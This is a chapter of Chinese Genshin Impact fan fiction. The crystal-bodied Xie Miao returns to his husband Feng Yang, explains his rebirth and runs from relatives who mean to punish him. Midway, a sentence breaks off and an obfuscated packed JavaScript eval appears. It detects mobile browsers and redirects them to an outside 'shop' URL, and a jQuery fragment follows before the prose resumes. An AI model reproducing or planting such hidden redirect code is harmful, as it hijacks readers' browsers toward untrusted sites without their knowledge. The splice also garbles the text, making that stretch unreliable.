同一种色彩集中在人身上,视觉处理反馈给大脑后会呈现出一种诡异的不适感。或者说属于非人的凝滞感。


    掺杂银蓝的白发,白睫毛,皮肤凑近了看也没有毛孔,真正的细腻如白瓷。没有呼吸、没有心跳、四肢修长,但衣衫外可视化皮肤镶嵌了银蓝的冰晶,眼圈周围也有。如果撩开脸侧的头发,能看见略尖耳朵上佩戴的蓝水晶耳坠,还有脸颊上树根状的亮银色痕迹。


    清晨的阳光带着海风的凉意,衬托得他整个人好像一堆闪闪发亮的新雪。


    从外部强行破开精神空间,让所有人在一瞬间登出,和身体匹配转移到战场——这对虚弱的谢苗来说还是有一定难度的。


    [你现在还好吗?]身边的小鱼依旧是幽蓝色,[还会觉得痛吗?]


    谢苗起身拍拍身上不存在的灰尘,脚踩黑沙滩:“已经不痛了。但为什么我总感觉新身体脆脆的?”


    [……大概是视觉冲击和心理暗示。你这具躯体的原材料是龙泪结晶,说通俗些也就是一坨冰。只是纯度太高拥有了类似镜子的属性。镜子在常人的认知里又是无比脆弱的……所以我说别人可以信那些鬼话但你自己不要真以为自己脆脆的。认知决定上限,思维固化对你没有任何好处。]


    [以及,你留了四分之一碎片到月神手里,潜意识会觉得自己很容易碎是正常的。月神回来把碎片还给你就行——不要给自己下心理暗示啊!]


    “这样啊。”谢苗朝着那夏镇的方向走去,“我的神之眼和玉佩呢?怎么身上只剩了戒指。”信被博士拿走到到现在还没还给他,过段时间抢回来好了。


    [神之眼熄灭了,玉佩碎了。]


    谢苗脚步一顿,以为自己精神还不稳定以至于幻听了:“……你确定?”


    小鱼用看智障的眼神看他:[你到底知不知道你的人类身体最后是个什么鬼样子?痛苦在分裂的精神上延续,那些物质世界的东西怎么可能完好无损。]


    “……我以为你会帮我保存好呢。”他继续走,说这话的时候带着点委屈。


    小鱼无奈叹气:[神之眼锚定了你作为人的命运,既然人类的躯体死亡,神之眼自然得熄灭。]


    “但是获得神之眼的原因不是愿望吗?愿望和人的灵魂绑定,按理说它会跟着我走才对。”请别误会,谢苗并非抬杠,只是单纯的好奇。


    [理论上的确如此,但事情如果真的按这个走向发展,我也无法将你从高天定制的命运轨迹剥离。如果说命运(法图纳)是固定的、奔涌向断崖(死亡)的河流,众生就是这条河流里被浪潮裹挟的可怜虫。而提瓦特的命运也不过只是宇宙命运河流里的一艘玩具船。船上的人待遇会比直接泡水里的人好,但结局都是一样的死亡(泯灭)。有生必有死,这是宇宙的法则,亘古不变。而那些所谓超越命运的存在,也不过是将自己的河流延长。]


    [提瓦特的命运系统是个有些僵化的老机子,神之眼即为神的目光。你拥有了名字,获得了神的短暂注视,那么你的命运就被系统锚定了,你的结局一定是和那个叫“谢苗”的至冬孩子一般早夭,绝无例外。]


    [我的王也是漂浮在河流水面上的一艘船,作为和法图纳齐头并进的船只,获得船票的要求是历经一次痛苦的死亡。当你作为人在浪潮中挣扎死去的那一刻,你获得了船票,我将你拉上了船。舍弃作为人的一切物质,精神方可升入至高的国度——用神秘学的理论解释能明白吗?]


    “所以,我凭借[死亡]跳出了天空为我锚定的命运轨迹。神之眼作为监视道具,锚定不到宿主所以熄灭了光芒。双重保险吗?”


    [对,简单来说就是这样。你现在没有神之眼、没有命之座,天空岛的命运系统默认你是个黑户,我现在要做的就是给你上个假户口,随时可以销户脱离的那种……正好多托雷也在挑战命运系统,真是瞌睡来了送枕头,你命中注定就该登上王这艘船。]小鱼美滋滋的甩尾巴,[玉佩我现在是真没办法,碎成渣渣了。看到时候能不能再偷一次伊斯塔露的力量给你修修……]


    谢苗:“我听到了什么?”


    [感恩戴德吧小子,我对自己人可是出了名的好。对了,你想好自己的种族了吗?上户口要用。]


    到了取网名上网冲浪的时候了。


    “那就……妖精吧,雪国妖精。反正他们都是这样认为的。”博士还说了个难听的龙族妖精这个称呼,妖精是妖精,龙族是龙族。这俩体系都不一样。


    [行,具体物种呢?雪国妖精的种类可是很多的。就像人类有许多个人种和民族。]


    “这个能随便捏吗?”


    [到底谁是至冬人?你在至冬长大你问我?]


    “时间这么短哪里够我想……催什么催。”


    [行行行,我不催你。哎真是年纪小脾气大,我以前可没这么坏脾气……]


    谢苗得意的哼了一声,抬腿在荒原上奔跑,想要快些赶到家人和爱人身边——是的,他把封阳和雅珂达爱诺那两个小女孩放在安全的后方了。无论成不成功,猎月人和博士赶到那夏镇都需要一定时间。


    然后他看见了一个眼熟的家伙。


    蓝毛至冬鬼火青年。


    也许是视角不一样了,谢苗再看菲林斯已经完全不会被他人类的外表迷惑,对方的力量本源在腰间那盏灯里不熄的跳动,而雷属性的月之轮完全只是装饰作用。


    菲林斯站在那夏镇入镇的峡谷走廊,看样子专程来这边堵他的:“恭候多时了,谢苗先生。”


    谢苗仰头看了看天色,又看向菲林斯:“早上好,你通宵清理狂猎到现在吗?”


    “您将我想得太优秀了。说实话,我这一晚上迷了路,磕磕绊绊寻了处落脚点。现在正打算回终夜的坟墓休息呢。”他一本正经的胡说八道,“您染发做了身造型,模样光彩照人,刚刚一个照面我险些认不出您来了。”


    谢苗:“……”


    谢苗:“原来这不是你本来的面貌么。”


    他一直以为菲林斯妖精的躯体就是这样呢。


    “谢苗先生这话说得真让我伤心。既然身在人群,做必要的修饰是合情合理的。”菲林斯笑了笑,“太过陌生,他们会害怕。”人类是脆弱的生物,长久凝视非人会精神错乱的。


    原来是提醒他尽量不要用这幅模样……谢苗领受这份善意,只是无奈:“缺乏记忆的锚点,我变不回去。”


    他是不完整的。


    你以为他不想用人类时期的模样去见家人爱人吗?如果能的话,精神空间里他就会这样做。而不是让大家眼睁睁看着他破碎消逝——谢苗没有钝刀子割肉的特殊癖好,也不喜欢把苦痛摊开给别人看。


    哥伦比娅手里还有他四分之一的本源碎片,她跳进月之门后,谢苗只能保持这个形态。


    也许菲林斯听懂了他这番话:“……原来如此,看来这是谢苗先生自身的特性所致。先[映照]才能拥有[记忆],在世界留下倒影。看来坦诚的美德依旧被认可,真让我欣慰。”


    小鱼目瞪口呆,然后连声催促:[叽里咕噜的说啥呢……哦哦哦,妖精是这么认为的。好设定,照做就是了。]


    怎么跟博士一样上赶着送剧本啊,这也是我的[命运]吗?


    谢苗艰难的露出笑容,而这笑容又被曲解为被点破的尴尬,菲林斯颔首致歉:“是我多言了,祝您在阳光下生活愉快。”


    执灯士离去,留下谢苗呆愣愣的站在原地,面对清晨的那夏镇踟蹰不前。


    最终他还是选择踏出那一步,走向了人间。


    秘闻馆内,奈芙尔和封阳对坐喝茶聊天。


    爱诺已经被伊涅芙接走了,雅珂达一觉睡得可美,现在正在旁边对阿舍鲁又亲又抱又摸。而封阳因为是个成年男性,醒来发现自己躺在秘闻馆沙发上下意识的窜起,又被赶回来的奈芙尔安抚坐下,用茶招待。


    “别担心,封阳先生,会有人来接你的。”奈芙尔是这么说的,“谢苗先生遵守承诺,说是第八日再见,那么今天你就能看到他了。”


    “真的吗。”封阳不太信,“我一直在那个房间待着,越来越困,一觉醒来就躺在这里……这种完全被隔绝在外的感觉真不好受啊。”


    “我以为这是对爱人的必要保护。谢苗先生对你的保护欲很强烈,看来二位的婚姻很幸福。”幸福到精神空间里的谢苗都戴着戒指。


    封阳摩挲手上的戒指:“我知道,我不怀疑这一点……他很坚强又独立,有时候我会希望他能多依赖我。可我能提供的钱财权利只在人间流通,面对更强大的、蛮横的敌人实在是无能为力得让人心碎。”


    这世上多得是钱买不到的东西,封阳深知这一点。


    奈芙尔微笑:“但爱和信任本就是这世间最不讲理的兴奋剂,封阳先生提供了这些,所以谢苗先生战斗的时候绝不退缩。”


    如果这里多一位直面谢苗处刑猎月人现场的当事人,恐怕会接一句“何止,那简直是杀疯了”。


    没人会在看完处刑后想要招惹谢苗,这家伙已经在精神特攻的道路上狂飙突进绝不回头,污染效率和深渊一个水平,区别只在是否可控。


    “幸福者退让、不幸者猛攻、命悬者破釜沉舟——人间智慧凝聚成这三条原则。所以我说封阳先生,保持现在这种模式就很好。让你一直幸福就是他的锚点。”奈芙尔这句话说完,恰好秘闻馆的门被敲响。雅珂达抱着阿舍鲁去开门,被寒霜吹了一脸冰渣子。


    半边身体在阳光下闪闪发亮的白发谢苗说:“上午好,我来接我丈夫回家。”


    雅珂达抱着受凉的阿舍鲁躲到门后,只敢怯怯的说声上午好。


    奈芙尔挑眉:“不喝杯茶再走吗?你这身衣裳挺不错的。”


    “谢谢,朋友做的。茶就不喝了……小阳?傻愣着做什么。”谢苗笑了笑,“换了个样子你就不认识我了吗?”


    “……怎么头发全白了啊……”封阳几步就走了过去,眼眶里泪打着转,“你这是受了多大的罪、吃了多少苦啊……”


    在璃月的传说里,一夜白头者无不是经受了巨大的心理压力,也因此突然间的白发被视为经受苦难的具象化。


    谢苗和奈芙尔雅珂达打完招呼就抱着封阳离开,在僻静的走廊哄他:“我以前的头发不也是白的吗?至冬人白发很常见呢。”


    “不一样的,我知道不一样的。如果不是没办法,你不会这样的。”封阳对他的了解远超过谢苗认知,“你不是会主动求变的性格,所有看起来主动的变化都是被压迫后的反抗。一定是有人给了你巨大的压力,让你不得不消失这么久,变成这副模样——”


    爱人轻抚他留有痕迹的脸颊,声线扁平压抑:“是不是特别特别特别痛。痛到眼泪变成了结晶,痛到皮肤开裂然后又愈合,青筋暴起、久久不消。”


    你为什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833843|173207||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么会知道?


    “我为什么会知道?谢苗,你忘了我家钻研的是什么了吗。家族制药发家,什么疑难杂症都研究过、配药过……我一眼就看出来这些水晶和痕迹对应着什么。这些都是美化过的痛苦,痛到你潜意识还记得,显化于身。”


    谢苗失言,抬手擦去他的泪:“已经好了,都过去了。我这不是好端端的站在你面前吗?”


    “……谢苗,我只是心疼你,大家都在心疼你。我从来不问你过去的坎坷,我不想扒开你已经愈合的伤口,但这不代表我能眼睁睁看着你再受一次痛。”


    “……”


    “你真的跑不掉吗?你真的避无可避所以迎难而上吗?”封阳咬牙切齿,自问自答,“不是的,你从商人那里学到了赌徒孤注一掷的行事风格。你只是选择了利益最大也最痛苦的那一条路——一定要这样作践自己吗?你知不知道我和哥哥他们是什么感受……你到底知不知道啊……你这个混账!”


    黑发埋进爱人的胸膛,听不到心跳后更是泪如雨下,再也绷不住了:“不是说再也不想让我哭的吗?那就别做这样危险的事啊……面对难以解决的问题那就逃跑啊,没有人会责怪你,没有人会对你失望,活着比什么都重要。不能因为你能忍痛就让你去面对这样的痛苦!不能觉得你能自愈就理所应当的把你当做耗材——这不公平,谢苗,这对你不公平。”


    “不,公平的。”冰雪的妖精抬手回拥,爱人胸腔内心脏的跳动铿锵有力并且温暖,“因为我要活下来陪你到老,我许诺你的一切都会做到。”


    人类谢苗是活不过30岁的。玛格丽特姨妈已经疯了,他不疯就只有死。


    这条路对他很公平,真的很公平。多得是人遭受苦难还无法达成自己的目的,而他仅用一次死亡就换来死局的搅活。


    就算生命是无价之宝,这也值了。


    封阳又哭又骂:“你就是死犟!”


    谢苗不以为耻反以为荣:“没办法,你喜欢。”


    这天没法聊了,封阳一抹脸——北风吹皱的时候生疼:“我要找大哥告状,我要找二哥打你屁股。”


    “你真舍得?!”谢苗大吃一惊,他特意先见小狗就是为了让小狗求情护一护他啊!怎么适得其反?


    某人完全没有认识到自己错在哪里,封阳铁石心肠,拽着他手腕噔噔噔踩着楼梯架子下去,雄赳赳气昂昂:“当然舍不得,所以让哥打。”


    让哥哥打你就舍得了?


    这什么脑回路?!


    谢苗真想逃跑了。


    然而今天堵他的人格外多,首当其冲的就是阿蕾奇诺和桑多涅,后面跟着微笑的瓦西里和脸黑的帕维尔。阿帽拽着杜林往旁边靠,很有几分家长故意带自家小孩旁观别人家孩子挨打的意思在。


    谢苗如果还是人类,这会寒毛都竖起来了。


    可惜他不是,没有寒毛,只有玄之又玄的第六感。


    桑多涅已经彻底炸毛,首先开团:“谢、缪、尔!谁让你乱跑的!谁让你一声不吭的和多托雷合作的!他多危险你不知道吗?”一个两个都这样!一点都不让人省心!


    阿蕾奇诺捏着手腕:“我听说你一直在秘密调查狂猎行动轨迹,这也是公鸡、富人让你做的吗?”


    这当然不会,两位至冬贵族压根不在乎这点灾害。


    瓦西里笑盈盈:“看来你的确从博士那里学到了不少东西,比如把自己分成四份到处乱跑什么的。”


    帕维尔是个粗人,不讲那些弯弯绕绕:“是你主动过来挨打,还是等我抓。”


    看来璃月和至冬教育孩子都是这样的,硬核。做错事的就要处罚,何况是这样严重的结果。爹妈不把混账小子的屁股打开花都算力气不够,叫上叔伯婶姨一起。


    封阳刚想叮嘱一句打屁股就行了,别的地方怕新生的皮肤裂开,屁股肉多就没这种烦恼。结果手上拽着的谢苗咔嚓一下掰断了他自己的手臂。


    封阳手里的断臂很快碎裂,又在谢苗的伤口处重塑——那断面所有人看得一清二楚,就是纯粹的结晶。


    璃月小狗反应过来后尖叫:“谢苗!!!你王八蛋!!!”


    狡猾的至冬妖精已经开始跑了,一声不吭一言不发,速度快到只在人类视野中留下雪白的残影。


    “抓住他,普隆尼亚!”


    “怒风腾天!*①”


    “不听话的孩子应当受到处罚。”


    谢苗:“哈。”


    冲出那夏镇的时候正巧碰见失魂落魄归来的旅行者和派蒙。金发少女一瞬间明白的情形,咬牙切齿:“好啊,谢苗,你等我逮住你的。”新仇旧账一起算!


    谢苗微微一笑,在撞上小姑娘的前一瞬碎作千万银屑寒霜,冷得人牙齿都在打颤。


    眼睛还没眨一下,银屑穿过她的身体又凝聚成人型,踏雪远去。身后跟着乌泱泱一堆人迅速捞起怔愣的旅行者和派蒙,不知道是谁嚷了一句“死孩子跑这么快怎么之前不跑”,成功点燃了所有人的怒火。


    奖池还在积累。


    小鱼哈哈大笑:[你最好一直能跑下去,不然被抓住就不是打屁股这么简单了。]


    “我知道,会被吊起来抽成陀螺的。”谢苗表面平静,内心惊涛骇浪,“得找个人背锅转移注意力。”卖惨已经没用了,看来祸水东引才是拯救自身的唯一手段啊。


    [谁?]


    “当然是邪恶薄荷鸡。”